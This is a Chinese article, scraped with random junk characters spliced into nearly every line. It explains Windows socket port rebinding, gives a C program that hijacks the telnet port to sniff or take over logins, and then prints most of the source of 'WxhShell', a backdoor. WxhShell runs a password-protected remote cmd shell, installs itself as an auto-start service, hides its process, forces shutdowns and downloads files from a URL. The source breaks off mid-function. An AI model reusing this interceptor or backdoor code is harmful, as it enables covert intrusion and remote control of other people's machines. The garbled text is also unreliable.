在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Vo`,|3^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v[XTH 2 _eZ*_H,\ saddr.sin_family = AF_INET;
Ql]+,^kA@ ~]V}wZt>h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BI|YaZa+p :lE_hY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
TsF>Y""*M UfSqiu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
TjY-C m Kd!.sB/% 这意味着什么?意味着可以进行如下的攻击:
2Fc>6]:* SUN!8
qFA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
cnraNq1 kK~,?l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nm#,oX2C 60z8U#upM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z)F<{]% 73kU\ux 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0WI@BSHnM L+D 9ZE] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b <z)4 h/pm$9A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>m+Fm= /C
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D^)?*( !]C=5~BBI #include
>e"vPW*[ #include
g T{WH67u #include
W)jtTC7 #include
k9m9IE"9=$ DWORD WINAPI ClientThread(LPVOID lpParam);
\'CA:9V} int main()
uD4j.% {
Xrr3KQaK& WORD wVersionRequested;
f!Mx +ky DWORD ret;
o2rL&
WSADATA wsaData;
S!8gy,7<J BOOL val;
;Q>+#5H6F8 SOCKADDR_IN saddr;
czg9tG8 SOCKADDR_IN scaddr;
l4$Iv: int err;
/i)>|U
4 SOCKET s;
N~|Z@pU" SOCKET sc;
CmxQb,Ul s int caddsize;
ybU_x HANDLE mt;
;~-M$a
}4 DWORD tid;
B+2EIaI wVersionRequested = MAKEWORD( 2, 2 );
@hwe err = WSAStartup( wVersionRequested, &wsaData );
)skz_a}]8 if ( err != 0 ) {
BcxALRWE printf("error!WSAStartup failed!\n");
b'%)?{E return -1;
I7XJPc4} }
D"M[}$P saddr.sin_family = AF_INET;
ZxB7H{ ?/q\S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4o|<zn KBa ]s q_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F1u2SltR saddr.sin_port = htons(23);
'.{_
7U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tfp^h~&u {
/m|U2rrqb printf("error!socket failed!\n");
RXRoMg!-P return -1;
T# .pi@PF> }
i:60|ngK val = TRUE;
.$]-::& //SO_REUSEADDR选项就是可以实现端口重绑定的
722:2 { if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(vFO'jtcB- {
Hu$y8_Udw printf("error!setsockopt failed!\n");
<DZ$"t return -1;
kRqe&N e }
mtmTlGp6Lc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M(?0c}z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9Cz|?71 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$.x,[R
aN B[s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
apgR[=Oy {
[`kk<$=,& ret=GetLastError();
w+u1" printf("error!bind failed!\n");
2b
K1.BD return -1;
/B<QYvv }
JbAmud, listen(s,2);
SQDfDrYP while(1)
H/y,}z {
y96HTQ32 caddsize = sizeof(scaddr);
FfNUFx2N //接受连接请求
&%`WXe-`R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X?U'GLm if(sc!=INVALID_SOCKET)
H[RX~Xk2E {
8n35lI(
[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y @Ur} if(mt==NULL)
e}+Zj'5 {
_FxeZ4\ printf("Thread Creat Failed!\n");
@{"?fqo break;
MK(~ }
{H* }
:$*@S=8 O CloseHandle(mt);
NfWL3"&X }
ejc> closesocket(s);
x~Dj2F ] WSACleanup();
JwQ/A[b return 0;
IGOEqUw* }
82iFk`)T DWORD WINAPI ClientThread(LPVOID lpParam)
=!\Y;rk {
p\R&vof* SOCKET ss = (SOCKET)lpParam;
Xe&p.v SOCKET sc;
qKrxln/T unsigned char buf[4096];
EbG&[v SOCKADDR_IN saddr;
h[mJ=LIrg long num;
On|b- DWORD val;
6qSsr] DWORD ret;
K#Zv>x!to //如果是隐藏端口应用的话,可以在此处加一些判断
)-X/"d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]h,iyWSs saddr.sin_family = AF_INET;
Sm{> 8e}UE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"W~vSbn7 saddr.sin_port = htons(23);
R.cR:fA
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>p'{!k {
]!j%Ad printf("error!socket failed!\n");
]T6pH7~ return -1;
v[r8-0c }
m%=*3gH]& val = 100;
y,/i3^y#_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y?3f
Fg {
[+_>g4M~% ret = GetLastError();
a`R_}nus* return -1;
]tzF
Ob }
7pou(U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
md,KRE {
A $i^/hJs ret = GetLastError();
7Ie=(x8): return -1;
LmytO$?2( }
5+Ao.3Xn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#qFY`fVf1 {
O4Q"2 printf("error!socket connect failed!\n");
`?O0) closesocket(sc);
C57m{RH closesocket(ss);
#; f50j!r return -1;
80ox$U }
,Ha <lU2K while(1)
SF`(`h0e {
'4SDAa2f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
l))Q/8H //如果是嗅探内容的话,可以再此处进行内容分析和记录
i\O^s ] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)*`h)`\y num = recv(ss,buf,4096,0);
":f]egq
- if(num>0)
S+#|j
send(sc,buf,num,0);
fY6~Z
BvK else if(num==0)
0?}n( f!S break;
&36SX<vZ num = recv(sc,buf,4096,0);
R1*4 if(num>0)
B%tWi send(ss,buf,num,0);
4Us_Z{. else if(num==0)
]x{.qTtw break;
r?IBmatK/ }
e,,O closesocket(ss);
^,,}2dsb> closesocket(sc);
UOk\fyD2[ return 0 ;
$
nHD,h }
.T)wG;+ TkJ[N4'0 -i1 f
]Bd ==========================================================
J!2j]?D/e h[&"KA 下边附上一个代码,,WXhSHELL
`<7!Rh,tS^ ]Axz}: ==========================================================
EY:IwDA.} hf^<lJh~= #include "stdafx.h"
:m(DRD '_^T]fr} #include <stdio.h>
ZPyzx\6\ #include <string.h>
r fzNw #include <windows.h>
mBE&>}G< #include <winsock2.h>
P#,;)HF #include <winsvc.h>
*yaS^k\ #include <urlmon.h>
0y6M;"&~E &!OEd] #pragma comment (lib, "Ws2_32.lib")
dFF=-_O> #pragma comment (lib, "urlmon.lib")
yIrJaS- eZaSV>27 #define MAX_USER 100 // 最大客户端连接数
'E+"N'M| #define BUF_SOCK 200 // sock buffer
bMGn&6QiP[ #define KEY_BUFF 255 // 输入 buffer
"VZXi_P
o8Gygi5 #define REBOOT 0 // 重启
B\v+C!/f| #define SHUTDOWN 1 // 关机
Xl$,f`f~ wapSpSt #define DEF_PORT 5000 // 监听端口
:aK?Dt Z :8!RGtn #define REG_LEN 16 // 注册表键长度
jn:_2g[ #define SVC_LEN 80 // NT服务名长度
|K"Q>V2y ZZ7qSyBs? // 从dll定义API
M
`^[Y2 c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i'7+
?YL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D:;idUO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
LP=j/qf| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d 8DU[p ](A2,F
9(U // wxhshell配置信息
T*f/M struct WSCFG {
>WIc"y. int ws_port; // 监听端口
m3gv %h char ws_passstr[REG_LEN]; // 口令
G[A3H>
> int ws_autoins; // 安装标记, 1=yes 0=no
X!p`|i char ws_regname[REG_LEN]; // 注册表键名
G$>QH-p char ws_svcname[REG_LEN]; // 服务名
XTo7fbW* char ws_svcdisp[SVC_LEN]; // 服务显示名
3f] ;y<Km char ws_svcdesc[SVC_LEN]; // 服务描述信息
pK@=]K~l0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
USEb} M` int ws_downexe; // 下载执行标记, 1=yes 0=no
0z8?6~M;< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Jsysk $R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!R"W2 Z4h \gk.[={^P };
-}9^$}PR TK
fN`6 // default Wxhshell configuration
kIVQ2hmv struct WSCFG wscfg={DEF_PORT,
4P&2Z0 "xuhuanlingzhe",
"FWx;65CR 1,
Y @p<f5[c "Wxhshell",
RqtBz3v "Wxhshell",
l! F$V;R "WxhShell Service",
BVw2skOT "Wrsky Windows CmdShell Service",
RZzHlZ "Please Input Your Password: ",
ujZ`T0 1,
bI55G#1G "
http://www.wrsky.com/wxhshell.exe",
h6Z:+ "Wxhshell.exe"
@"-\e|[N };
\</!kY*3@t kFv*>>X` // 消息定义模块
[b:&y( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gvA}s/ char *msg_ws_prompt="\n\r? for help\n\r#>";
-2M~KlYl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S^eem_C char *msg_ws_ext="\n\rExit.";
x9vSekV char *msg_ws_end="\n\rQuit.";
x,!Dd char *msg_ws_boot="\n\rReboot...";
(?fU l$q\ char *msg_ws_poff="\n\rShutdown...";
<X:JMj+ char *msg_ws_down="\n\rSave to ";
@ph!3<(In, kh5a >OX char *msg_ws_err="\n\rErr!";
#$I@V4O;# char *msg_ws_ok="\n\rOK!";
u]P| Uj):}xgi' char ExeFile[MAX_PATH];
l1)~WqhE} int nUser = 0;
X0VSa{ HANDLE handles[MAX_USER];
mdWA5p( int OsIsNt;
V4n~Z+k GtVT^u_ SERVICE_STATUS serviceStatus;
H#~gx_^U SERVICE_STATUS_HANDLE hServiceStatusHandle;
,~1'L6Ri? L"qJZU // 函数声明
dU$VRgP/ int Install(void);
; :P4~R int Uninstall(void);
eQuu\/z*H int DownloadFile(char *sURL, SOCKET wsh);
5#,H&ui\ int Boot(int flag);
Vxh39eW void HideProc(void);
YYv0cV{E int GetOsVer(void);
apo)cR int Wxhshell(SOCKET wsl);
An{>39{ void TalkWithClient(void *cs);
Y%XF64)6 int CmdShell(SOCKET sock);
*siX:?l int StartFromService(void);
0%ul6LvM int StartWxhshell(LPSTR lpCmdLine);
<RY =y?%z ;
oyV8P$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|ia5Mr"t VOID WINAPI NTServiceHandler( DWORD fdwControl );
eV[{c %wN: @C)s4{V // 数据结构和表定义
jE\G_> SERVICE_TABLE_ENTRY DispatchTable[] =
Alxf;[s {
BNfj0e 5b {wscfg.ws_svcname, NTServiceMain},
)`DVPudiy {NULL, NULL}
HwUaaK
};
yQ$irS? ppyy0E^M // 自我安装
~_\Ra% int Install(void)
S6<o?X9,I {
Q$E.G63Wl char svExeFile[MAX_PATH];
u?=mh` HKEY key;
hdPGqJE strcpy(svExeFile,ExeFile);
%Mda<3P (S~kyU!)0 // 如果是win9x系统,修改注册表设为自启动
1dQAo1 if(!OsIsNt) {
r&{8/ 5" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qr.{_M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@dWA1tM RegCloseKey(key);
DYf QlA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:_8K8Sa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;m]V12 RegCloseKey(key);
ZcN0:xU return 0;
C/k#gLF` }
Kh]es,$D }
j3Od7bBS] }
q+?&w'8 else {
WqeWjI.2 >C0B!MT?3% // 如果是NT以上系统,安装为系统服务
16iTE-J_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7Qd4L. if (schSCManager!=0)
Dvg' {
d@Z DIy SC_HANDLE schService = CreateService
h4hAzFQ.s (
?"yjgt7+y schSCManager,
!j6k]BgZ wscfg.ws_svcname,
s41%A2Enh wscfg.ws_svcdisp,
<Wn~s= SERVICE_ALL_ACCESS,
suN6(p(. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9xQ|Uad+% SERVICE_AUTO_START,
e>MtDJ5 SERVICE_ERROR_NORMAL,
2{ F-@}= svExeFile,
uw+nll*W% NULL,
>z<L 60S NULL,
q,P.)\0A NULL,
/!]K+6>u NULL,
7X$CJ%6b NULL
Et 0gPX- );
'.v;/[0 if (schService!=0)
3f`Uoh+ {
56pj(}eq CloseServiceHandle(schService);
)I%M]K]F CloseServiceHandle(schSCManager);
+ ~V%R{h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#Pd9i5~N strcat(svExeFile,wscfg.ws_svcname);
([8*Py| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`oxBIn*BD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
f#s 6 'g
RegCloseKey(key);
)z7CT|h7S return 0;
Otq3nBZ }
IVxJN(N^ }
[G_ ;78 CloseServiceHandle(schSCManager);
4e#g{, }
MT{1/A;`) }
*). 1I2ndt return 1;
C6e5*S }
Ftyxz&-4$p zZ[kU1Fyv // 自我卸载
so` \e^d int Uninstall(void)
Xe4 {
3o rSk HKEY key;
L` [iI z>!./z]p if(!OsIsNt) {
Y1Ql_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{MtJP:8Jp RegDeleteValue(key,wscfg.ws_regname);
r*{.|>me RegCloseKey(key);
7{r7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k)+{Y v* RegDeleteValue(key,wscfg.ws_regname);
}hn?4ny RegCloseKey(key);
/[/L%;a'p return 0;
Ku'a,\7z }
y>C
!cYB }
Y~Uf2(7b5 }
Aw7N'0K9UN else {
$?ss5:
S u&*[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\(??Ytc<B if (schSCManager!=0)
W%rUa&00 {
O]IAIM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
R(}<W$(TV if (schService!=0)
Ea4zC|; {
]+G
.S-a if(DeleteService(schService)!=0) {
>:.c?{%g* CloseServiceHandle(schService);
<8(q. CloseServiceHandle(schSCManager);
&DW !$b return 0;
>_Tyzl>z }
H7uh"/A CloseServiceHandle(schService);
HDhkg-QC }
l(1.Ll
CloseServiceHandle(schSCManager);
` 0@m, }
o"qxR'V }
O}C*weU 6EY\ return 1;
tO&n$$ }
"y8W5R5kL4 I!!cA?W // 从指定url下载文件
;Qt%>Uo8 int DownloadFile(char *sURL, SOCKET wsh)
@CM5e! {
KEy8EB HRESULT hr;
5Y;&L!T char seps[]= "/";
hvI#D>Z!Yp char *token;
7oC8ID char *file;
g8/ ,E-u char myURL[MAX_PATH];
}>iNT.Lvd char myFILE[MAX_PATH];
8A0a/
7Lj wtbN@g0 strcpy(myURL,sURL);
rrC\4#H[?? token=strtok(myURL,seps);
q"269W: while(token!=NULL)
|zRrGQYm {
9<&*iIrM file=token;
ByE@4+9 token=strtok(NULL,seps);
,]t_9B QK }
e6*,MnqBh (0@b4}Z GetCurrentDirectory(MAX_PATH,myFILE);
+L=Xc^ strcat(myFILE, "\\");
44 8%yP strcat(myFILE, file);
\hBzQ%0 send(wsh,myFILE,strlen(myFILE),0);
|J@
&lBlq send(wsh,"...",3,0);
P\@kqf~pC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uNEl]Q]<e] if(hr==S_OK)
mY=sh{ir return 0;
;P<h9( else
UOj*Gt& return 1;
j 0LZ )V |)d%3s\ }
k"=*' 2asRJ97qES // 系统电源模块
tW!*W? int Boot(int flag)
?}KD<R {
%$Fe[#1 HANDLE hToken;
\>9^(N TOKEN_PRIVILEGES tkp;
l_;6xkv4 ]D~Ibv{Y if(OsIsNt) {
K/(QR_@? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@[v,q_^8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R:l &2 tkp.PrivilegeCount = 1;
\(`2 @ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Y9-F\t=~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e1b?TF@lz if(flag==REBOOT) {
yFd .tQs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}T PyHq" return 0;
{\k }:) }
B&7:=t,m( else {
w)&4i$Lk6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
eU)QoVt return 0;
G]$EIf' }
6pb~+=3n }
$KT)Kz8tF else {
)zy;! if(flag==REBOOT) {
@#^Y#
rxb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"Uf1;;b return 0;
/V cbT >= }
Jza?DhSAZ else {
p7{H
"AC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]H{*Z3S return 0;
O46v }
0s Jp,4Vv }
_KtV`bF V^!^wLLi return 1;
[jCYj0Qf8 }
;K7kBp\d ue?3;BF 5 // win9x进程隐藏模块
a>-qHX-l void HideProc(void)
0t(c84o5 {
_Wk*h}x #l`\'0`. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
30SQ&j[N] if ( hKernel != NULL )
~K5A$s2 {
QrFKjmD< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y^DGnx("m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3.P7GbN FreeLibrary(hKernel);
Xf"<
>M }
1he5Zevm} v>nBdpjXh return;
rtbV*@Z }
p(="73 _E8Cvaob // 获取操作系统版本
:.=j)ljTx int GetOsVer(void)
Gj%q:[r {
f.%3G+ OSVERSIONINFO winfo;
+Q"~2_q5/; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
UqsOG<L'6 GetVersionEx(&winfo);
bJ9*z~z)e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Tb;,t=;u return 1;
1M_Vhs^ else
yJ]Va $M return 0;
x![.C,O }
\
qq Zv@
Fr9m // 客户端句柄模块
N5`z S79W int Wxhshell(SOCKET wsl)
%CnNu {
Qv'x+GVW] SOCKET wsh;
4M]l~9;A struct sockaddr_in client;
ZNDi;6e DWORD myID;
0s{7=Ef u>vvW|OB[ while(nUser<MAX_USER)
}kItVx {
n'q:L(`M int nSize=sizeof(client);
5`:d$rv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Fv)E:PnKC if(wsh==INVALID_SOCKET) return 1;
9LBZMQ Dm}M8`|X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zkqn>
if(handles[nUser]==0)
4W49*Je closesocket(wsh);
~#P]NWW%. else
fI<d&5&g nUser++;
]91QZ~4a }
UU[z\^w| E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
zG/? wP" &Ruq8n< return 0;
mvTp,^1 }
Jd v;+HN[ _emW#*V // 关闭 socket
h<>yzr3fN void CloseIt(SOCKET wsh)
9;\mq'v% {
wD$UShnm9- closesocket(wsh);
E8R;S}PA nUser--;
S-3hLw&? ExitThread(0);
RjgJIVm( }
":s_O. WcM\4q@ // 客户端请求句柄
>KdV]!H void TalkWithClient(void *cs)
X's<+hK& {
#pK"
^O*! S-Bx`e9 ' SOCKET wsh=(SOCKET)cs;
YHu]\'Ff char pwd[SVC_LEN];
goF87^M char cmd[KEY_BUFF];
[eOv fD char chr[1];
(dQ=i int i,j;
,d* hhe
1iLU{m9 while (nUser < MAX_USER) {
[.Kp/,JY 1kvs2 if(wscfg.ws_passstr) {
#,6T. O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(C).Vj~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ar,n=obG //ZeroMemory(pwd,KEY_BUFF);
,p(&G_ i=0;
Ks6\lpr while(i<SVC_LEN) {
nP*% N|0 N#-pl:J( // 设置超时
I_->vC|> fd_set FdRead;
Z0-?;jA@ struct timeval TimeOut;
>}O}~$o FD_ZERO(&FdRead);
v*dw'i FD_SET(wsh,&FdRead);
rcMf1\ TimeOut.tv_sec=8;
y@LiUe5 TimeOut.tv_usec=0;
es x/{j;<u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
SZ$WC8AX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v3XM-+Z4 z,^~H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p nI= pwd
=chr[0]; )78T+7Kq
if(chr[0]==0xd || chr[0]==0xa) { ]cmX f
pwd=0; %+Z*-iX
break; iI7ocyUv
} h4F%lGot
i++; Za3}:7`Gu
} BL_0@<1X
/T(9:1/G
// 如果是非法用户,关闭 socket 7 [u>#8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2u!&Te(!9
} $of2 lA
gM=:80
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m9i/rK_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qnj'*]ysBC
|rZMcl/
while(1) { =EA:fq
oo7}Hg>
ZeroMemory(cmd,KEY_BUFF); xY!ud)
9`Fw}yAt
// 自动支持客户端 telnet标准 s<k2vbhI
j=0; vPz7*w
while(j<KEY_BUFF) { -rm[.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bGgpPV
cmd[j]=chr[0]; e3 :L]4t
if(chr[0]==0xa || chr[0]==0xd) { o,*D8[
cmd[j]=0; j4!O,.!T
break; {)!>e
} +FqE fY4j
j++; F N=WU<
5
} 5Lej_uqF
T>L?\-
// 下载文件 lG94^|U
if(strstr(cmd,"http://")) { A(
vdlj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N1Ag.
if(DownloadFile(cmd,wsh)) 6b'.WB]-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >,]8iMh
else *tEqu%N1'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H;=Fq+
} {A:uy
else { p`c_5!H
qa
)BbK^i
switch(cmd[0]) { ?&~q^t?u
V8TdtGB.|h
// 帮助 W [K.|8ho
case '?': { Xw!\,"{s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %%uE^nX>
break; 1d]F$>
} NzP71t+
// 安装
G7al@
case 'i': { JDE_*xaUV
if(Install()) VLkAsM5}%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LjG^c>[:m
else eJHh }
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g]2L[4
break; l$/lbwi%
} Q^rR }Ws
// 卸载 :\His{%
case 'r': { %'H DP3
if(Uninstall()) I_u/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n%J=!z3
else BrwC9:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k_0@,b3
break; !#O[RS
} p.=9[`
// 显示 wxhshell 所在路径 wLXJ?iy3
case 'p': { U"p</Q
char svExeFile[MAX_PATH]; V\<2oG
strcpy(svExeFile,"\n\r"); X4!7/&
strcat(svExeFile,ExeFile); Rxd4{L
)n
send(wsh,svExeFile,strlen(svExeFile),0); )&7.E
break; ^Q$OzsEk
} #T^2=7 w
// 重启 c!4F0(n4
case 'b': { AT~,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E3wL n/<
if(Boot(REBOOT)) M }d:B)cz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[YFyM(
else { \BXzmok
closesocket(wsh); +C{-s
ExitThread(0); eNAxVF0
} ?s^3o{!<W
break; TD}<U8I8_
} cA
q3Gh
// 关机 0^-1d2Z~
case 'd': { WxGD*%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &HM-UC|
if(Boot(SHUTDOWN)) qM(}|fMbN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k*hl"oL"X
else { PFh ^Z L
closesocket(wsh); /^BC
Qaj
ExitThread(0); f` uRC-B/
} 2(xC|
break; E
s5:S#
} 8I#ir4z#<
// 获取shell P#~B@d
case 's': { Vi8A4
CmdShell(wsh); @ivd|*?k0
closesocket(wsh); L9D`hefz
ExitThread(0); d7X&3L%Oq
break; K}R+~<bIY
} p%"dYH%]&0
// 退出 x.?5-3|d$
case 'x': { r<e%;S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5XZ!yYB?
CloseIt(wsh); @%R<3!3v
break; '+cI W(F?
} y~
=H`PAE
// 离开 ijF_
KP'
case 'q': { ssi7)0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MePD:;mm^
closesocket(wsh); $>XeC}"x68
WSACleanup(); JF.Lo;
exit(1); c0@8KW[,
break; lS.Adl^k
} m.e]tTe
} \WCQ>c?~
} I9*cEZ!l=e
n~* ".ZC'Y
// 提示信息 %X{EupiFA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Iv;y*y
} $RPW/Lyiq
} }~XWtWbd-
'jtC#:ePK
return; Wp=3heCa6
} )\fY1WD
f&^(f1WO
// shell模块句柄 pIJXP$v3
int CmdShell(SOCKET sock) +$,Re.WnP
{ O<gfZ>
STARTUPINFO si; k&]nF,f
ZeroMemory(&si,sizeof(si)); Z',!LK!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )u)=@@k21
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &7aWVKon
PROCESS_INFORMATION ProcessInfo; hArY$T&MB
char cmdline[]="cmd"; S\e&xUA;|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xAQtX=FoX+
return 0; }vd*eexA
} SiratkP9n7
SAx9cjj+
// 自身启动模式 ]k0
jmE
int StartFromService(void) NK_|h%
{ ,fVD`RR(W?
typedef struct p
T(M>LP83
{ Ux[<g%F"
DWORD ExitStatus; V2YK T,5
DWORD PebBaseAddress; M?$[WS
DWORD AffinityMask; /d8o*m'bu!
DWORD BasePriority; !~@GIr
ULONG UniqueProcessId; UNdD2Fd9
ULONG InheritedFromUniqueProcessId; Y`|+sND
